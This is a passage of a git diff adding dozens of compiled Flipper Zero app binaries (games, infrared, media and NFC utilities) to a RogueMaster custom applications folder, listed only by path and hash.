RM)/RogueMaster/Games/hanoi_towers.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/heap_defence.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/heap_defence.fap new file mode 100644 index 000000000..3338a9849 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/heap_defence.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/insults.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/insults.fap new file mode 100644 index 000000000..87fc73bae Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/insults.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/jetpack.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/jetpack.fap new file mode 100644 index 000000000..0a2199dc9 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/jetpack.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/kcline.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/kcline.fap new file mode 100644 index 000000000..6171e293d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/kcline.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/laser_tag.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/laser_tag.fap new file mode 100644 index 000000000..311f6d1a4 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/laser_tag.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/lifecounter.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/lifecounter.fap new file mode 100644 index 000000000..aeff45a63 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/lifecounter.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/mandelbrotset.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/mandelbrotset.fap new file mode 100644 index 000000000..1e3b5aaf1 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/mandelbrotset.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/matagotchi.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/matagotchi.fap new file mode 100644 index 000000000..62831ba79 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/matagotchi.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/minesweeper.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/minesweeper.fap new file mode 100644 index 000000000..c176ec224 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/minesweeper.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/minesweeper_redux.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/minesweeper_redux.fap new file mode 100644 index 000000000..75e743549 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/minesweeper_redux.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/mode7_demo.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/mode7_demo.fap new file mode 100644 index 000000000..13a2efdc9 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/mode7_demo.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/montyhall.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/montyhall.fap new file mode 100644 index 000000000..40944016a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/montyhall.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/multi_counter.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/multi_counter.fap new file mode 100644 index 000000000..c501cf227 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/multi_counter.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/nu_pogodi.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/nu_pogodi.fap new file mode 100644 index 000000000..d99881594 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/nu_pogodi.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/pacman.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/pacman.fap new file mode 100644 index 000000000..26e03d554 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/pacman.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/paint.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/paint.fap new file mode 100644 index 000000000..41df0773b Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/paint.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/paper_plane.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/paper_plane.fap new file mode 100644 index 000000000..4277a60a1 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/paper_plane.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/pinball0.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/pinball0.fap new file mode 100644 index 000000000..1b12e1d2c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/pinball0.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/platformer_game.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/platformer_game.fap new file mode 100644 index 000000000..9d6d567a4 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/platformer_game.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/pong.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/pong.fap new file mode 100644 index 000000000..444c0383d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/pong.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/quadrastic.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/quadrastic.fap new file mode 100644 index 000000000..37eef2291 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/quadrastic.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/questions.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/questions.fap new file mode 100644 index 000000000..278e9c140 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/questions.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/race.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/race.fap new file mode 100644 index 000000000..158948870 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/race.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/reaction_time.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/reaction_time.fap new file mode 100644 index 000000000..1708051ff Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/reaction_time.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/reactiontest.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/reactiontest.fap new file mode 100644 index 000000000..c8654c61b Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/reactiontest.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/reversi.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/reversi.fap new file mode 100644 index 000000000..8e62c9703 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/reversi.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/rock_paper_scissors.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/rock_paper_scissors.fap new file mode 100644 index 000000000..1337b7daa Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/rock_paper_scissors.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/rock_paper_scissors_2.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/rock_paper_scissors_2.fap new file mode 100644 index 000000000..6d3048132 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/rock_paper_scissors_2.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/roots_of_life.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/roots_of_life.fap new file mode 100644 index 000000000..0928161db Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/roots_of_life.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/rubiks_cube_scrambler.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/rubiks_cube_scrambler.fap new file mode 100644 index 000000000..ee888623d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/rubiks_cube_scrambler.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/sand_simulation.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/sand_simulation.fap new file mode 100644 index 000000000..8cbc059d2 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/sand_simulation.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/scorched_tanks.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/scorched_tanks.fap new file mode 100644 index 000000000..8337e1e5d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/scorched_tanks.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/secret_toggle.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/secret_toggle.fap new file mode 100644 index 000000000..4b9ed68f9 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/secret_toggle.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/simon_says.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/simon_says.fap new file mode 100644 index 000000000..51b21724a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/simon_says.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/slotmachine.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/slotmachine.fap new file mode 100644 index 000000000..68248a04b Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/slotmachine.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/snake.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/snake.fap new file mode 100644 index 000000000..28601ef50 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/snake.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/snake20.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/snake20.fap new file mode 100644 index 000000000..8acd434b4 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/snake20.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/sokoban.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/sokoban.fap new file mode 100644 index 000000000..00355c79e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/sokoban.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/solitaire.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/solitaire.fap new file mode 100644 index 000000000..cd73efde7 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/solitaire.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/space_impact.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/space_impact.fap new file mode 100644 index 000000000..1a97118f5 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/space_impact.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/space_invaders.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/space_invaders.fap new file mode 100644 index 000000000..fbed739c7 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/space_invaders.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/stratagem.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/stratagem.fap new file mode 100644 index 000000000..fe55c4c12 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/stratagem.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/sudoku.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/sudoku.fap new file mode 100644 index 000000000..9d580940c Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/sudoku.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/super_chip.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/super_chip.fap new file mode 100644 index 000000000..c16ad3fdc Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/super_chip.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/tama_p1.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/tama_p1.fap new file mode 100644 index 000000000..61fad5d23 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/tama_p1.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/tanks.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/tanks.fap new file mode 100644 index 000000000..8f83d809d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/tanks.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/tarot.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/tarot.fap new file mode 100644 index 000000000..ce50787fd Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/tarot.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/tetris.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/tetris.fap new file mode 100644 index 000000000..97d6dfdbf Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/tetris.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/tetris_modern.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/tetris_modern.fap new file mode 100644 index 000000000..a08189425 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/tetris_modern.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/tic_tac_toe_multi.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/tic_tac_toe_multi.fap new file mode 100644 index 000000000..ca94e56ec Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/tic_tac_toe_multi.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/tictactoe.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/tictactoe.fap new file mode 100644 index 000000000..4334f095f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/tictactoe.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/trex_runner.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/trex_runner.fap new file mode 100644 index 000000000..ead8d532b Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/trex_runner.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/ultimate_tic_tac_toe.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/ultimate_tic_tac_toe.fap new file mode 100644 index 000000000..6574aa743 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/ultimate_tic_tac_toe.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/umpire_indicator.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/umpire_indicator.fap new file mode 100644 index 000000000..037667c8e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/umpire_indicator.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/vexed.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/vexed.fap new file mode 100644 index 000000000..7e6839630 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/vexed.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/videopoker.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/videopoker.fap new file mode 100644 index 000000000..50eb2cab1 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/videopoker.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/yapinvaders.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/yapinvaders.fap new file mode 100644 index 000000000..ac61cbe78 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/yapinvaders.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/yatzee.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/yatzee.fap new file mode 100644 index 000000000..05774f0b7 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/yatzee.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/zero.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/zero.fap new file mode 100644 index 000000000..0851c7614 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/zero.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/zombiez.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/zombiez.fap new file mode 100644 index 000000000..6a2ae4d8e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Games/zombiez.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/cross_remote.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/cross_remote.fap new file mode 100644 index 000000000..578d8ec30 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/cross_remote.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/flip_rob.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/flip_rob.fap new file mode 100644 index 000000000..c09e246f0 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/flip_rob.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/flippertag.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/flippertag.fap new file mode 100644 index 000000000..15e8fb7d1 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/flippertag.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/infrared.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/infrared.fap new file mode 100644 index 000000000..9cebd2b3a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/infrared.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_decoder.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_decoder.fap new file mode 100644 index 000000000..e892fecc2 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_decoder.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_intervalometer.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_intervalometer.fap new file mode 100644 index 000000000..48ac0779a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_intervalometer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_remote.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_remote.fap new file mode 100644 index 000000000..6fe1066fd Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_remote.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_scope.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_scope.fap new file mode 100644 index 000000000..ca8059ec8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/ir_scope.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/irblaster.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/irblaster.fap new file mode 100644 index 000000000..0cb37bbfc Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/irblaster.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/mitsubishi_ac_remote.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/mitsubishi_ac_remote.fap new file mode 100644 index 000000000..36469b5df Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/mitsubishi_ac_remote.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/xbox_controller.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/xbox_controller.fap new file mode 100644 index 000000000..c2a216755 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/xbox_controller.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Infrared/xremote.fap b/Applications/Custom (UL, RM)/RogueMaster/Infrared/xremote.fap new file mode 100644 index 000000000..4e259eea8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Infrared/xremote.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Main/dab_timer.fap b/Applications/Custom (UL, RM)/RogueMaster/Main/dab_timer.fap new file mode 100644 index 000000000..f3e5bfaf3 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Main/dab_timer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Main/js_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Main/js_app.fap new file mode 100644 index 000000000..f2d919a9e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Main/js_app.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/bpm_tapper.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/bpm_tapper.fap new file mode 100644 index 000000000..049784d3b Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/bpm_tapper.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/dvd_screensaver.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/dvd_screensaver.fap new file mode 100644 index 000000000..601852726 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/dvd_screensaver.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/flizzer_tracker.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/flizzer_tracker.fap new file mode 100644 index 000000000..330715657 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/flizzer_tracker.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/fmf2usb_midi.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/fmf2usb_midi.fap new file mode 100644 index 000000000..5bbcdb4b1 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/fmf2usb_midi.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/image_viewer.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/image_viewer.fap new file mode 100644 index 000000000..1e301f188 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/image_viewer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/metronome.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/metronome.fap new file mode 100644 index 000000000..ebe0b7bbe Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/metronome.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/midi_rx.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/midi_rx.fap new file mode 100644 index 000000000..95a39406d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/midi_rx.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/midiocarina.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/midiocarina.fap new file mode 100644 index 000000000..09c33266f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/midiocarina.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/morse_code.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/morse_code.fap new file mode 100644 index 000000000..eb11db184 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/morse_code.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/music_beeper.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/music_beeper.fap new file mode 100644 index 000000000..29535f56a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/music_beeper.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/music_player.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/music_player.fap new file mode 100644 index 000000000..176b5db59 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/music_player.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/music_tracker.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/music_tracker.fap new file mode 100644 index 000000000..4911b6fbf Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/music_tracker.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/ocarina.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/ocarina.fap new file mode 100644 index 000000000..332c48293 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/ocarina.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/sam.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/sam.fap new file mode 100644 index 000000000..ebaa9c4ea Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/sam.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/sam_no.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/sam_no.fap new file mode 100644 index 000000000..8b4413784 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/sam_no.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/sam_wtf.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/sam_wtf.fap new file mode 100644 index 000000000..f4c52b0be Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/sam_wtf.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/sam_yes.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/sam_yes.fap new file mode 100644 index 000000000..c0e4fc58a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/sam_yes.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/text2sam.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/text2sam.fap new file mode 100644 index 000000000..6483289ca Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/text2sam.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/tuning_fork.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/tuning_fork.fap new file mode 100644 index 000000000..c3d0d534a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/tuning_fork.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/video_player.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/video_player.fap new file mode 100644 index 000000000..4a655ec54 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/video_player.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Media/wav_player.fap b/Applications/Custom (UL, RM)/RogueMaster/Media/wav_player.fap new file mode 100644 index 000000000..05695dc86 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Media/wav_player.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/aic.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/aic.fap new file mode 100644 index 000000000..b85c1d50d Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/aic.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/cyborg_detector.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/cyborg_detector.fap new file mode 100644 index 000000000..cf33cfbcd Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/cyborg_detector.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/metroflip.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/metroflip.fap new file mode 100644 index 000000000..7c6dfee44 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/metroflip.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/mfc_editor.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/mfc_editor.fap new file mode 100644 index 000000000..4a5740c03 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/mfc_editor.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/mfkey.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/mfkey.fap new file mode 100644 index 000000000..7780c733e Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/mfkey.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/mifare_fuzzer.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/mifare_fuzzer.fap new file mode 100644 index 000000000..df779f9b8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/mifare_fuzzer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc.fap new file mode 100644 index 000000000..4f0e74ead Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_comparator.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_comparator.fap new file mode 100644 index 000000000..3a88fa9d2 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_comparator.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_detector.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_detector.fap new file mode 100644 index 000000000..53e99a04a Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_detector.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_eink.fap b/Applications/Custom (UL, RM)/RogueMaster/NFC/nfc_eink.fap new file mode 100644 index 000000000..37bc10c65 Binary files /dev/null and b/Applications/Custom (UL, 